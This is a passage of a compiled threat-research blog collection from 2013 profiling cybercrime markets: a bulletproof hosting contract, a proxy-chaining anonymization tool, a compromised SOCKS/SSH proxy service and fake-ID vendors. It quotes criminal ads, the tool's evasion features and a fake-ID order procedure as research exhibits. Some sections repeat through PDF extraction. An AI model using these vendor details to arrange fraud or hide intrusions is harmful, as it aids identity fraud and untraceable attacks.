Be careful, do not require employees ISPOLNITELYA passwords from virtual hosting

accounts and dedicated servers. The exception is when CUSTOMER request to any work for

his Vydelennom Server.

Excluding the direct offering of managed servers for spam sending in the actual agree-

ment/contract, and the fact that their abuse department is virtually non-existent, the contact

explicitly prohibits related malicious/fraudulent activity. Naturally, that’s not the case when

AbdAllah (VN) used to advertise its bulletproof hosting service across cybercrime-friendly

communities, "back in the day":

In 2013, despite the overall availability of RBN-like bulletproof hosting providers, cybercrimi-

nals continue experimenting with abusing legitimate infrastructure in an attempt to mitigate

the risk of having their activities exposed. Various cases throughout the last couple of years

include:

• [5]Cybercriminals use Twitter, LinkedIn, Baidu, MSDN as command and control infrastruc-

ture

• [6]RSA: Banking trojan uses social network as command and control server

• [7]Trojan.Whitewell: What's your (bot) Facebook Status Today?

• [8]Twitter-based Botnet Command Channel

• [9]Google Groups Trojan

• [10]Zeus crimeware using Amazon's EC2 as command and control server

4438

The "best" is yet to come.

9.8.3 Dissecting a Sample Russian Business Network (RBN) Contract/Agreement

Through the Prism of RBN's AbdAllah Franchise (2013-08-10 21:10)

4439

[1]**The Russian Business Network (RBN)**, is perhaps the most speculated, buzzed about,

cybercrime enterprise in the World, a poster child for fraudulent activity 'streaming' from

'Mother Russia', in the eyes of respected/novice security/cybercrime researchers across the

globe.

However, what a huge percentage of the researchers who're just catching up with its

'[2]**fraudulent performance metrics**' over the years, don't realize, is how a newly emerged

bulletproof hosting provider, managed to end up, as the World's most prolific source of

fraudulent/malicious activity.

Hint: Basic business concepts like franchising, signalling the early stages of the modern-

ization/professionalization of cybercrime, where being the benchmark has had a direct

inspirational impact in the 'hearts and minds' of current and potential cybercriminals, then

and now.

4440

Case in point is [3]**Abdallah Internet Hizmetleri also known as AbdAllah (VN)**, an ex-RBN

darling relying on the franchise business concept.

In this post, I'll discuss a sample contract/contractual agreement that every one of its

customers had to sign before doing business with them, which in the broader context leads to

a situation, where while the franchise is publicly advertising the bulletproof hosting services

for trojans, exploits, warez, adult content, drop projects, botnets and spam, it's explicitly

forbidding such activities – with some visible exceptions – in its contractual agreement.

What does this mean?

It means that the Russian Business Network, the benchmark for

the majority of ex/currently active bulletproof hosting providers, has been (legally) forwarding

the responsibility for the fraudulent activity to its customers, in between reserving the right to

act and deactivate their accounts if they ever violate the agreement/contract. The first thing

that comes to my mind when it comes to the RBN 'reaction' in a socially oriented manner, are

the infamous [4]**RBN Fake Account Suspended Notices**, and that's

just for starters, indicating

a deteriorated understanding of malicious/fraudulent activity, with high profit margins in mind.

Let’s go through the contract/agreement that every customer used to sign, before doing

cybercrime-friendly business with them, both in original Russian, and automatically translated

in English.

Sample AbdAllah (VN) Contractual Bulletproof Hosting Agreement/Contract in Russian:

1. ПРЕДМЕТ ДОГОВОРА

1.1. Заказчик поручает, а ИСПОЛНИТЕЛЬ берет на себя обязательства по размещению

и/или регистрации виртуального сервера ЗАКАЗЧИКА в сети Интернет.

2. УСЛОВИЯ ВЫПОЛНЕНИЯ ДОГОВОРА

2.1. По заключению настоящего договора ИСПОЛНИТЕЛЬ производит первоначальную

установку и настройку виртуального сервера и обеспечивает ЗАКАЗЧИКА необходимой

информацией для администрирования виртуального сервера.

2.2.

ИСПОЛНИТЕЛЬ обеспечивает доступ в сети Интернет к виртуальному серверу,

а так же работоспособность всех доступных сервисов ЗАКАЗЧИКА круглосуточно в

течение семи дней в неделю.

4441

3. ЦЕНЫ И ПОРЯДОК ОПЛАТЫ

3.1.

Стоимость и порядок оплаты работ по настоящему договору на момент

его

заключения

определяется

в

соответствии

с

действующими

условиями,

распространяемыми сотрудниками по E-Mail и/или ICQ.

3.2.

Оплата вносится ЗАКАЗЧИКОМ в счет оплаты услуги поддержки виртуального

веб-сервера ИСПОЛНИТЕЛЕМ. ИСПОЛНИТЕЛЬ вправе приостановить предоставление

услуг при отрицательном состоянии счета.

3.3.

Все выделенные серверы предоставляются в состоянии UNMANAGED, т.е

администраторы ИСПОЛНИТЕЛЯ могут, но не ОБЯЗАНЫ настраивать арендуемый

сервер. За любую настройку сервера ЗАКАЗЧИКА, либо скриптов на нём - взымается

плата в размере 50 USD/за 1 час работы администратора ИСПОЛНИТЕЛЯ по Вашему

вопросу, минимум пол часа.

Полное администрирование сервера специалистами

ИСПОЛНИТЕЛЯ стоит 250 USD в месяц. Бесплатно осуществляется перезагрузка сервер

(если нет автоматической формы для этого).

3.4. В случае не оплаты услуг ЗАКАЗЧИКОМ в последний день биллингового периода,

данные ЗАКАЗЧИКА удаляются по наступлению новых суток без возвратно. В случае

виртуального хостинга удаляется аккаунт и все бэкапы данного аккаунта, в случае

аренды сервера (dedicated или vps) сервер снимается с обслуживания, форматируются

жесткие диски.

4. ОТВЕТСТВЕННОСТЬ СТОРОН

4.1.

ИСПОЛНИТЕЛЬ не несет ответственности перед ЗАКАЗЧИКОМ или третьими

сторонами за любые задержки, прерывания, ущерб или потери, происходящие из-за:

(а)

дефектов

в

любом

электронном

или

механическом

оборудовании,

не

принадлежащем ИСПОЛНИТЕЛЮ;

(б) проблем при передаче данных или соединении, произошедших не по вине

ИСПОЛНИТЕЛЯ ;

(в) вследствие обстоятельств непреодолимой силы в общепринятом смысле, т.е.

чрезвычайными силами и непредотвратимыми обстоятельствами, не подлежащими

разумному контролю;

(г) давление властей.

4.2. При расторжении Договора по инициативе ЗАКАЗЧИКА, неиспользованная часть

аванса ЗАКАЗЧИКУ не возвращается.

4.3.

ИСПОЛНИТЕЛЬ оставляет за собой право приостановить обслуживание

ЗАКАЗЧИКА или расторгнуть договор в безусловном порядке без возвращения

средств заказчику в следующих случаях:

- размещение детской порнографии и зоофилии в любом виде;

- попытки взлома, несанкционированного проникновения на сервер, в аккаунты

других клиентов, попытки порчи оборудования или программного обеспечения;

- попытки взлома правительственных организаций в любом виде;

4442

- попытки спама любого рода с наших серверов виртуального хостинга, кроме

как через соксы;

- попытки фишинга банков (кража денег);

- размещение информации по торговле оружием и наркотиками, торговля

людьми или органами людей, вызывающие межнациональную и религиозную

рознь, призывающую к войне и насилию;

- неоправданная перегрузка вычислительных мощностей сервера виртуального

хостинга (допускается использовать не более 5 % мощности процессора и не

более 128Мб оперативной памяти сервера);

- попытки взлома с серверов (dedicated и виртуальный хостинг) - серверы,

которые расположены рядом в стойке, либо клиентов этой же страны, где

расположен сервер;

- оскорбление в любой форме сотрудников сервиса.

4.4.

ИСПОЛНИТЕЛЬ

не

отвечает

за

содержание

информации,

размещаемой

ЗАКАЗЧИКОМ.

4.5.

ИСПОЛНИТЕЛЬ не будет нести ответственности за любые затраты или ущерб,

прямо или косвенно возникшие в результате использования услуги вэб хостинга.

4.6.

MoneyBack за выделенный сервер возможен только в том случае,

если

недоступность данного сервера происходит по вине ИСПОЛНИТЕЛЯ, ввиду того, что

ИСПОЛНИТЕЛЬ оплачиваем полную стоимость сервера в Дата-Центр. Также возможна

замена сервера.

4.7.

Размещение сайтов ЗАКАЗЧИКА, рекламируемых SPAMом на серверах

ИСПОЛНИТЕЛЯ (как виртаульного хостинга, так и dedicated) оплачивается

отдельно из расчета объема писем. При объёмах от 5млн до 10млн =1000 USD

- 1500 USD в месяц за сервер в Китае или ГонгКонге, либо 150 USD неделя или

500 USD в месяц за виртуальный хостинг, более 10-20 млн. = 200 USD неделя

либо 2000 $ за выделенный сервер.

4.8.

ИСПОЛНИТЕЛЬ обязуется делать ежедневные резервные копии аккаунта

ЗАКАЗЧИКА на сторонний сервер (только виртуальный хостинг).

4.9. ИСПОЛНИТЕЛЬ обязуется решать самостоятельно все жалобы (абузы/abuse),

не привлекая к этому ЗАКАЗЧИКА и без вмешательства в данные ЗАКАЗЧИКА.

ИСПОЛНИТЕЛЬ

не

решает

жалобы

(абузы/abuse)

от

полиции,

крупных

правительственных организаций и VerSign.

4.10.

ИСПОЛНИТЕЛЬ не дает никаких гарантий, что домен ЗАКАЗЧИКА не будет

заблокирован по любым причинам, а особенно таким как любой вид SPAMa, fraud,

phishing и т.п.

4443

5. КОНФИДЕНЦИАЛЬНАЯ ИНФОРМАЦИЯ

5.1.

Стороны обязуются без обоюдного согласия не передавать третьим лицам

либо

использовать

иным

способом,

не

предусмотренным

условиями

Договора,

организационно-технологическую, коммерческую, финансовую и иную информацию,

составляющую секрет для любой из сторон (далее - "конфиденциальная информация")

при условии, что:

- такая информация имеет действительную или потенциальную коммерческую ценность

в силу ее неизвестности третьим лицам;

- к такой информации нет свободного доступа на законном основании;

- обладатель такой информации принимает надлежащие меры к обеспечению ее

конфиденциальности.

5.2.

Стороны обязуются, без обоюдного согласия, не передавать третьим лицам

сведения о содержании и условиях Договора.

5.3.

ИСПОЛНИТЕЛЬ обязуется предотвращать запись логов на серверах

виртуального хостинга и маршрутизирующем оборудовании.

5.4.

Будьте внимательны, сотрудники ИСПОЛНИТЕЛЯ не запрашивают

пароли от

аккаунтов виртуального хостинга и выделенных серверов.

Исключением является

ситуация, когда ЗАКАЗЧИК просить произвести какие-либо работы на его Выделенном

Сервере.

4444

Automatically translated Russian Business Network (RBN) Contractual Agreement/Contract:

1. SUBJECT OF CONTRACT

1.1.

Customer Requests, but ARTIST is committed to the placement and / or registra-

tion CUSTOMER virtual server on the Internet.

2. CONDITIONS OF IMPLEMENTATION OF THE TREATY

2.1.

At the conclusion of this treaty ARTIST produces initial setup and configuration of

the virtual server and provides the necessary information for CUSTOMER virtual server

administration.

2.2. ARTIST provides access to the Internet to the virtual server, as well as efficiency of

all available services CUSTOMER day seven days a week.

3. PRICES AND ORDER OF PAYMENT

4445

3.1. Cost and arrangements of works under this contract at the time of its conclusion is

determined in accordance with existing conditions, the staff distributed by E-Mail and / or ICQ.

3.2. Payment is made ZAKAZCHIKOM as payment services support virtual web server IS-

POLNITELEM. ARTIST right to suspend the provision of services at a negative status of the

account.

3.3.

All dedicated servers are provided in a position UNMANAGED ie ISPOLNITELYA ad-

ministrators can, but not OBYAZANY tune rented server. For any server setup CUSTOMER or

scripts on it - charge of $ 50 USD / for 1 hour administrator ISPOLNITELYA to your question, at

least half an hour. The full server administration specialists

ISPOLNITELYA worth USD 250 per

month. Free done rebooting the server (if not automatic form for this).

3.4.

If no payment ZAKAZCHIKOM bill on the last day of the period, the data are re-

moved CUSTOMER new offensive on days without reciprocating. In the case of virtual hosting

account and removed all of your backups, in case the rental server (dedicated or vps) server

is removed from service, formatted hard drives.

4. RESPONSIBILITY OF PARTIES

4.1.

ARTIST no responsibility to ZAKAZCHIKOM or third parties for any delays, interrup-

tions, damage or losses that occur because of:

(a) defects in any electronic or mechanical equipment, not belonging ISPOLNITELYU;

(b) problems in the transfer of data or connection that occurred through no fault ISPOLNITELYA;

(c) due to force majeure circumstances, in the conventional sense, that is, nepredotvratimymi

forces and emergency circumstances, not subject to reasonable control;

(g) pressure from the authorities.

4.2.

At the dissolution of the Treaty on the initiative CUSTOMER, ZAKAZCHIKU unused

portion of the advance is not refundable.

4.3. ARTIST reserves the right to suspend or terminate CUSTOMER

service contract

in order without the unconditional return of customer funds in the following cases:

– Locating and zoofilii child pornography in any form;

– attempted burglary, unauthorized entry to the server, in the accounts of other

customers, trying to damage equipment or software;

– attempted burglary governmental organizations in any form;

– spam attempts of any kind from our servers hosting virtual except through SOCKS;

– phishing attempts banks (stealing money);

– posting on the arms trade and drug trafficking, or human organs, causing

inter-ethnic and religious discord, calling for war and violence;

– unjustified computing power overload virtual server hosting (which is allowed to

4446

use no more than 5 % of CPU capacity, and no more than 128 MB of RAM server);

– attempted burglary of servers (and dedicated virtual hosting) - servers, which are

located next to the rack, a customer in the same country where the server;

– insulting to any form of service personnel.

4.4.

ARTIST is not responsible for the content of the information posted ZAKAZCHIKOM.

4.5.

ARTIST shall not be liable for any costs or damages arising directly or indirectly

from the use of Web hosting services.

4.6.

MoneyBack for dedicated server is possible only in case the inaccessibility of the

fault occurs on the server ISPOLNITELYA, because ARTIST pay for the full cost of a server in

Data Center. Also possible replacement server.

4.7.

Placing sites CUSTOMER advertised on servers ISPOLNITELYA SPAM (as

virtaulnogo hosting, and dedicated) is charged separately at the rate of the volume

of letters. With volume of 5 million to 10 million USD = 1000 - 1500 USD per month

for the server in China or Gong Konge or 150 USD week, or 500 USD per month for a

virtual hosting, a 10-20 million = 200 USD week, or $ 2000 for a dedicated server.

4.8. ARTIST undertakes to do daily backups CUSTOMER account for the third-party server

(only virtual hosting).

4.9.

ARTIST undertakes to decide all complaints (abuzy / abuse), are not en-

gaging in the CUSTOMER and without interference in the CUSTOMER data. ARTIST

does not solve complaints (abuzy / abuse) from the police, government organiza-

tions and major VerSign.

4.10.

ARTIST gives no guarantees that the domain CUSTOMER not be blocked for any

reason, but especially like any kind of SPAM, fraud, phishing, etc.

5. CONFIDENTIAL INFORMATION

5.1.

The Parties undertake without the unanimous consent not to transfer to third par-

ties or used in any other way other than prescribed conditions Treaty, organizational and

technological, commercial, financial and other information, which is the secret to any of the

parties (hereinafter - "confidential information"), provided that:

– this information is actual or potential commercial value by virtue of its unknown third parties;

– to such information no free access to the lawful;

– holds such information shall take appropriate steps to ensure its confidentiality.

5.2.

The Parties undertake, without unanimous consent, not to transfer to third parties

about the content and conditions of the Treaty.

4447

We offer you the hosting resources under the "non-standard" content:
Logs, exploits, trojans, warez, adult, drop-projects, botnets, spam and more.
Our servers for shared-hosting provided with all the necessary tools for your job. If you start to run out of some file, then in a support request - we will deliver it to you (only on shared hosting).
On all our servers for hosting technology installed RAID, which eliminates the loss of your data. Moreover, your backups every day go into separate independent server, which eliminates their loss. Bulletproof dedicated servers for any purpose with wide channels in Moscow, Hong Kong, USA, Malaysia and the legitimate server for various projects at affordable prices. Important: **We do not sell karzhenymi servers!** its own IP network in Hong Kong! (OS installation by the customer (Fedora Core, CentOS, FreeBSD, Debian). Control Panel: DirectAdmin- cPanel- panel Udalennnaya reboot All you need for your successful business. We absolutely can not: -Child porn; -Phishing (we do not keep any of abuzy Versign, police and government organizations) , Bestality; -projects aimed at breaking government organizations and bodies of executive power; ANY KIND-SPAM from the server (only allowed through anonymous socks) -Any insult to the administration service. ICQ:

5.3. ARTIST undertakes to prevent logging on servers and virtual hosting routing

equipment.

5.4.

Be careful, do not require employees ISPOLNITELYA passwords from virtual hosting

accounts and dedicated servers. The exception is when CUSTOMER request to any work for

his Vydelennom Server.

Excluding the direct offering of managed servers for spam sending in the actual agree-

ment/contract, and the fact that their abuse department is virtually non-existent, the contact

explicitly prohibits related malicious/fraudulent activity. Naturally, that's not the case when

AbdAllah (VN) used to advertise its bulletproof hosting service across cybercrime-friendly

communities, "back in the day":

In 2013, despite the overall availability of RBN-like bulletproof hosting providers, cyber-

criminals continue experimenting with abusing legitimate infrastructure in an attempt to

mitigate the risk of having their activities exposed. Various cases throughout the last couple

of years include:

• [5]Cybercriminals use Twitter, LinkedIn, Baidu, MSDN as command and control infrastruc-

ture

• [6]RSA: Banking trojan uses social network as command and control server

• [7]Trojan.Whitewell: What's your (bot) Facebook Status Today?

• [8]Twitter-based Botnet Command Channel

• [9]Google Groups Trojan

• [10]Zeus crimeware using Amazon's EC2 as command and control server

The "best" is yet to come.

9.8.5 The Cost of Anonymizing a Cybercriminal's Internet Activities - Part Three

(2013-08-21 20:57)

Over the years, I've been persistently highlighting the abuse of compromised hosts as either

'stepping stones', or as the primary facilitators for 'island hopping' campaigns, empowering

those using them with the necessary non-attributable 'know-how' to not just anonymize their

Internet activities, but also, engineer cyber warfare tensions.

The utilization of hacked/compromised hosts/PCs as 'island hopping' points, or as 'step-

ping stones', continues to take place in 2013, with more managed cybercrime-friendly

services offering access to compromised hosts located virtually all over the World, access to

which can be bought in a cost-effective manner, thanks to the available discounts or price

discrimination schemes.

Catch up with previous research on the topic:

• [1]The Cost of Anonymizing a Cybercriminal's Internet Activities

• [2]The Cost of Anonymizing a Cybercriminal's Internet Activities - Part Two

• [3]Cybercriminals SQL Inject Cybercrime-friendly Proxies Service

• [4]Malware Infected Hosts as Stepping Stones

• [5]Hacked PCs as 'anonymization stepping-stones' service operates in the open since

2004

• [6]'Malware-infected hosts as stepping stones' service offers access to hundreds of com-

promised U.S based hosts

• [7]New service converts malware-infected hosts into anonymization proxies

What has changed over the years? Is the once thought the be the future of anonymization

for cybercrime-friendly activities, 'proxy chaining' – think chaining of connections between

multiple malware-infected hosts – still relevant today? Or was the concept largely replaced by

log and data retention free cybercrime-friendly VPN providers, that continue popping up on

everyone's radar?

Since 2010, a HTTPS-supporting, DIY multiple gates application (proxy which can be a

Socks 4/Socks 5 compromised host given it has been properly

configured for the purpose)

managing, Man-in-the-Middle "attack" performing – in order to randomize for anonymization

purposes – cookie/headers modifying of the requests performed through the "chaining" of

compromised hosts/servers, has been commercially available for cybercriminals to take

advantage of.

Let’s take a close look at this state of the art gate/proxy chaining cybercrime-friendly

application.

Sample screenshots of the application's interface:

4453

Operating mode
Direct mode (no chaining)
Requests will be distributed evenly between active gates
Chain mode (Exact order of gates)
The order of gates will be the same as specified in the list
Chain mode (Random order of gates)
Number of gates in a chain:
2
Each request will be sent through a random sequence of gates.
Chain mode (Random order of intermediate gates; specified exit gate)
http://www.site.com/gate.php (Pwd: 123, Key: R9pUcXTFo4v9y)
Number of gates in a chain:
3 (all active gates)
Intermediate gates will be used in random order, however the final gate will be permanent

```

Copy code

4456

The application’s author is also known to have been released custom builds for various

cybercrime-friendly forums:

Some of its core features include:

[+] HTTPS support for php-gates, needs OpenSSL

[+] Ability to set a password on the gate.

[+] Ability to work with a gate, through any procs (HTTP (S), SOCKS4, SOCKS5).

[+] Working with gated exclusively via the method GET, which provides protection from

detection by the log files on the server.

[+] Ability to set Cookies, transferred during handling to the gate. This is useful for hiding the

code in the files of the site gate. Format: "cookie = value; cookie2 = ;"

[+] Processing of each compound is in a separate stream.

[+] Ability to unlimited downloads and uploads of large files (in case of inability to bypass

restrictions set _time _limit () can download files in a few times, provided support to resume

from the target server).

[+] Preprocessing mechanism optimizes queries under HTTP 1.0.

[+] The presence of an encryption key must be specified (purely symbolic encryption to hide

traffic from prying eyes), and all data, including the password for the gate are transmitted in

encrypted form. Enable / disable the encryption does not require editing the code gate.

[+] Ability to work with several gates. In this case, each assigned a specific gated User-Agent

(assigned by chance) that does not allow the target site to link together the requests from

different gates.

[+] Ability to add a request to the target site header X-Forwarded-For, X-Real-Ip and Via with

random IP-addresses (in this case, sites that use mechanisms for determining the visitor's IP

address on these titles or used mod _realip, will benefit from logging bogus addresses, as

these headlines mislead the site administrator).

[+] Ability to select the interface to listen to.

[+] More statistics on network connections, there are different levels of profiling queries (and

no logs are written to the file).

4458

[+] Support chains gates.

[+]-Chain of 3 modes:

- Direct sequence (traffic passes through a series of gates that you clearly stated)

- Random chain (each request is passed through a randomly builds a chain of gates)

- Casual chain with specific output gate time (similar to the previous mode, except that the

final gate remains constant.

[+] Ability to speed up surfing through the chain by local caching IP-addresses.

[+] Support for HTTPS gates are not independent of their number.

[+] Using a cascade encryption - the ability to use any number of gates with different encryp-

tion keys.

[+] Built-checker gates.

[+] You can check all the gates at once, or each gate individually when adding / editing.

[+] Built-in gates.

[+] Ability to insert code in the gate pre-generated table of permutations. This eliminates the

need to store the encryption key directly to the Gate, and generate a table for each access to

the gate.

[+] Automate the process of creating a masked gate with Cookies

[+] Ability to delete from the code perevodoa lines and tabs.

[+] Ability to set proivolnyh request headers.

[+] Ability to define hosts, which will be sent to a specific heading.

[+] Ability to temporarily activate / deactivate a specific heading.

[+] Gain Control key to 2048 bits (256 bytes) using md5

[+] Complete independence from each other bytes (including the order of the bytes and

encrypted block length).

[+] The variable number of rounds of permutations, depending on the key.

[+] Partly salt as XOR'a-byte hash key.

With the ease of assessing a malware-infected host's bandwidth thanks to the overall

availability of such an option among the most popular managed services offering access to

such hosts, it shouldn't be surprising to consider that a potential cybercriminal using this

application, would be in a perfect position to create – [8]**in a DIY fashion** – a stable anonymous

network, to further assist him on his way to achieve his fraudulent or purely malicious

objectives.

The bottom line?

What's the cost of anonymizing a cybercriminal's Internet activities?

1,900 rubles or $57.53 for the application, in this particular case.

This post has been reproduced from [9]Dancho Danchev's blog.

9.8.6 Vendor of Scanned Fake IDs, Credit Cards and Utility Bills Targets the French

Market Segment (2013-08-22 18:19)

Continuing

the

series

of

blog

posts

detailing

the

very

latest

effi-

ciency/quality/scalability/universal business concepts oriented underground market proposi-

tions for fake IDs, credit cards and utility bills, in this post I'll discuss an example of market

segmentation in terms of supplying them, through an ad targeting potential cybercriminals

based in France, or international cybercriminals wanting to enter the French market.

Catch up with previous research on the topic:

• [1]Newly Launched 'Scanned Fake Passports/IDs/Credit Cards/ Utility Bills' Service Random-

izes and Generates Unique Fakes On The Fly

• [2]A Peek Inside the Russian Underground Market for Fake Documents/IDs/Passports

What's so special about this underground market proposition, anyway?

It's the market

segmentation taking place through the eyes of the vendor, as well as the diversity of scanned

.PSD Photoshop templates, the non-modifiable scanned documents, and the actual availability

of physical fake IDs, all of them exclusively targeting the French market segment.

Sample screenshot of the advertisement:

4460

There are several types of vendors contributing to the currently mature state of the market

for fake IDs/documents, or to the cybercrime ecosystem in general. Let’s discuss the most

popular types of market players.

Among the rarest type of such vendors is the experienced one who tends not to adver-

tise at public or commercially accessible cybercrime-friendly communities. Although it would

seem fairly logical to assume that the applied OPSEC (Operational Security) would be directly

proportional with the decrease in processed orders since it would limit the visibility of his

services within the cybercrime ecosystem, that's not necessarily the case when quality,

experience, sophisticated, and, of course, high profit margins based on perceived value come

into play. In between the lack of mass advertisements, the vendor would also not list his

contact details, and would only do business with cybercriminals with proven reputation within

not just the community in question, but also, across the entire ecosystem.

Next are those vendors who'd sacrifice OPSEC, for the sake of reaching as many cus-

tomers as possible in an attempt to monetize this market 'touch point' with other prospective

cybercriminals. They advertise on public and on commercially accessible cybercrime-friendly

communities, usually have a decent reputation, with generally positive feedback from their

customers, and of course, never fail to 'deliver' what they pitch.

There's yet another type of such vendors, worth discussing.

It's those who 'populate' a

newly launched community with their propositions, and most often target novice cybercrim-

inals with zero understanding of cybercrime ecosystem reputation dynamics, who are still

looking to purchase this desired, but largely commoditized underground market good.

With more vendors of fake IDs/documents popping up across the entire ecosystem, the

series of blog posts profiling their activities, are prone to expand.

9.8.8 The Cost of Anonymizing a Cybercriminal's Internet Activities - Part Four

(2013-08-23 17:16)

Continuing the " *The Cost of Anonymizing a Cybercriminal's Internet Activities*" series, in this

post, I'll profile an API-supporting, blackhat SEO-friendly vendor of anonymization services,

which is currently offering hundreds of thousands of compromised SSH accounts, HTTP/HTTPs

based (compromised) proxies, and the ubiqutous for the cybercrime ecosystem, Socks 4/5

servers.

Catch up with related research on the topic:

• [1]The Cost of Anonymizing a Cybercriminal's Internet Activities - Part Three

• [2]The Cost of Anonymizing a Cybercriminal's Internet Activities

• [3]The Cost of Anonymizing a Cybercriminal's Internet Activities -

Part Two

• [4]Cybercriminals SQL Inject Cybercrime-friendly Proxies Service

• [5]Malware Infected Hosts as Stepping Stones

• [6]Hacked PCs as ‘anonymization stepping-stones’ service operates in the open since

2004

4464

Plans

Plans	Daily Limit	Time	Price
Demo	5 NoLogins / Day	1 Day	FREE
Small User	50 NoLogins / Day	30 Days	$15 USD
Basic User	150 NoLogins / Day	30 Days	$35.00 USD
Power User	300 NoLogins / Day	30 Days	$65.00 USD

• [7]‘Malware-infected hosts as stepping stones’ service offers access to hundreds of com-

promised U.S based hosts

• [8]New service converts malware-infected hosts into anonymization proxies

The service is currently offering access to **180,331 compromised SSH accounts, 9597**

HTTP/HTTPS proxies, and 110,185 (compromised) Socks servers located virtually all over the

World.

How are they gaining access to this accounting data in the first place? Despite the overall

availability of brute-forcing tools, in 2013, one of the most popular tactic for obtaining

stolen/compromised accounting data, remains the practice of 'data mining' a botnet's already

infected 'population' for virtually anything kind of accounting data, to be later on monetized

through multiple distribution/abuse channels.

Sample screenshots of the anonymization service:

4465

4466

Sample screenshots of the API in action:

4467

Firefox [redacted] webmoney

Managed Socks API - Request

Managed SOCKS API Request

Action type:
Connect

On geo_code:
US (5054)
On geo zone:
California (2081)
On geo city:
Yucaipa (84)

Order:
By our internal id ASC

Was viewed by you or not:
Was viewed [X] days ago

SELECT socks that were viewed [x] days, eg 0,3,30 days time ago:
0 = today
3 = 3 days ago
30 = 1 month ago
and so on ...
For example if you put there 3, it will SELECT all Managed SOCKS that their view date by you is older then 3 days, witch means it will select 4 days old, 10 days old ... and so on.

Query limit (between 1 and 10):
5

Firefox [redacted] webmoney

Managed Socks API - Request

Managed SOCKS API Request
You are about to execute this query:

geo_code	geo_zone	geo_city	viewed	time_ago	record_age
US	California	Yucaipa	was_not_viewed	never	OLD_IP
US	California	Yucaipa	was_not_viewed	never	OLD_IP
US	California	Yucaipa	was_not_viewed	never	OLD_IP
US	California	Yucaipa	was_not_viewed	never	OLD_IP
US	California	Yucaipa	was_not_viewed	never	OLD_IP

Execute this query

Go back

100% COMPATIBLE -

4469

What's also worth emphasizing on is the fact, that, the service is not just targeting potential

cybercriminals wanting to anonymize their Internet activities, but also, [9]**black hat SEO**

monetizers, who now have access to hundreds of thousands of fresh Socks servers for the

purpose of abusing them on their way to monetize their fraudulent/ malicious campaigns.

[10]**Vertical market integration**, or the one-stop-shop market model, has always been

an inseparable part of the cybercrime ecosystem, as it increases the probability that a

cybercriminal's one-stop-shop would immediately occupy a larger market share within the

cybercrime ecosystem, consequently resulting in more revenue from the facilitation of fraudu-

lent and malicious activity.

Some of the most popular instances of this trendy business concept applied by cyber-

criminals internationally, include but are not limited to the following real-life underground

market propositions:

• A vendor of [11]**mobile spamming services** would not only offer the actual spamming

process, but also, offer harvested mobile mobile numbers as a value-added service, next

to the on demand harvesting of mobile numbers for any given geographical region.

• A vendor of [12]**managed spam services**, would also offer the option to buy segmented

and geolocated, as well as often validated, email addresses, with the ability to perform

custom harvesting for any given country

• A [13]**vendor of managed iFraming platform** would also offer access to hijacked traffic

to be automatically converted to malware-infected hosts through the platform, with addi-

tional services including as for instance, managed crypting of the iFrame/malicious script

in real-time

• An [14]**author of Web malware exploitation kit**, would be also offering managed

iFrame/script crypting services next to bulletproof hosting in case the customer desires

those

The cost of anonymizing a cybercriminal's Internet activities in this particular case? The price

is shaped based on the anonymization method of choice.

9.8.9 Cybercriminals Offer High Quality Plastic U.S Driving

Licenses/University ID

Cards (2013-08-29 02:26)

Continuing the series of blog posts profiling the most recent underground market propositions

for high quality fake passports/IDs/documents, in this post, I'll emphasize on a cybercrime-

friendly vendor that's exclusively targeting the U.S market.

Go through previous research into the market for fake passports/ IDs/documents:

• [1]Newly Launched 'Scanned Fake Passports/IDs/Credit Cards/ Utility Bills' Service Random-

izes and Generates Unique Fakes On The Fly

• [2]A Peek Inside the Russian Underground Market for Fake Documents/IDs/Passports

• [3]Vendor of Scanned Fake IDs, Credit Cards and Utility Bills Targets the French Market

Segment

Offering fake plastic driving licenses for over 25+ U.S States, including student IDs for major

U.S Universities for a static price of $150, the vendor not just currently outperforms competing

vendors in terms of quality in this particular market segment – within the cybercrime-friendly

community in question – but also, is already receiving recommendations from other cyber-

criminals to raise the price of his underground market 'asset', indicating penetration pricing in

action.

Payment methods accepted? Bitcoin, Western Union and Moneygram.

Sample underground market ad:

[VENDOR's NAME REDACTED] has over 25+ states on tap, along with 'secondaries' to offer,

all of of which and are high quality, meaning in-state without issue, in most cases. All IDs

contain UV (where applicable as some states don't), multispec-hologram, 1D/2D barcode

and/or magstripe that will scan/swipe to read DMV/AAMVA license standard.

The vendor is requiring the following data from his potential customers:

Name - First, MI, Last

Address

DOB

Sex

4471

Hair Color

Height

Weight

Eye color

Driver License number - if a number isn't provided one will be randomly generated

Endorsements and/or Restrictions - if not included these will be left blank

Scanned signature - if not provided you will receive a generic font signature

******More\Less info may be required depending on the state requested*

Scanned passport picture - no webcam pictures can be accepted.

If you cannot get a real passport picture and have a decent camera, please take a pic

from the chest up against a white background/drywall with the flash 'ON'. I will handle the

cropping aspect. Also try to have good lighting and when scanning use high resolution. You

may also upload a signature. I ask that this be written using a black sharpie style pen to

achieve the best results.

You may upload this info to sendspace.com or the file-sharing site of your choosing and

forward me the download link. I will confirm reception via email and you order will begin

processing. All IDs are 150USD with incentive to group buys. Payment can be made via BTC,

WU, Moneygram. Payment will be collected upon completion and approval of your order.

Sample screenshots of the service's current 'inventory':

The market for fake passports/IDs/documents is prone to flourish, as more cybercriminals

demand both, scanned, and plastic fake IDs to be later one abused in related fraudulent

schemes. Naturally, the market is quick to supply, and those who excel in their Operational

Security and quality of the underground market 'assets', will begin occupying a decent market

share within this underground market segment.

This post has been reproduced from [4]Dancho Danchev's blog.

Follow him

[5]on Twitter.

9.8.10 Cybercriminals Offer High Quality Plastic U.S Driving Licenses/University ID

Cards (2013-08-29 02:26)

Continuing the series of blog posts profiling the most recent underground market propositions

for high quality fake passports/IDs/documents, in this post, I'll emphasize on a cybercrime-

friendly vendor that's exclusively targeting the U.S market.

4601

Go through previous research into the market for fake passports/IDs/documents:

• [1]Newly Launched 'Scanned Fake Passports/IDs/Credit Cards/ Utility Bills' Service Random-

izes and Generates Unique Fakes On The Fly

• [2]A Peek Inside the Russian Underground Market for Fake Documents/IDs/Passports

• [3]Vendor of Scanned Fake IDs, Credit Cards and Utility Bills Targets the French Market

Segment

Offering fake plastic driving licenses for over 25+ U.S States, including student IDs for major

U.S Universities for a static price of $150, the vendor not just currently outperforms competing

vendors in terms of quality in this particular market segment – within the cybercrime-friendly

community in question – but also, is already receiving recommendations from other cyber-

criminals to raise the price of his underground market 'asset', indicating penetration pricing in

action.

Payment methods accepted? Bitcoin, Western Union and Moneygram.

Sample underground market ad:

[VENDOR's NAME REDACTED] has over 25+ states on tap, along with 'secondaries' to

offer, all of of which and are high quality, meaning in-state without issue, in most cases. All

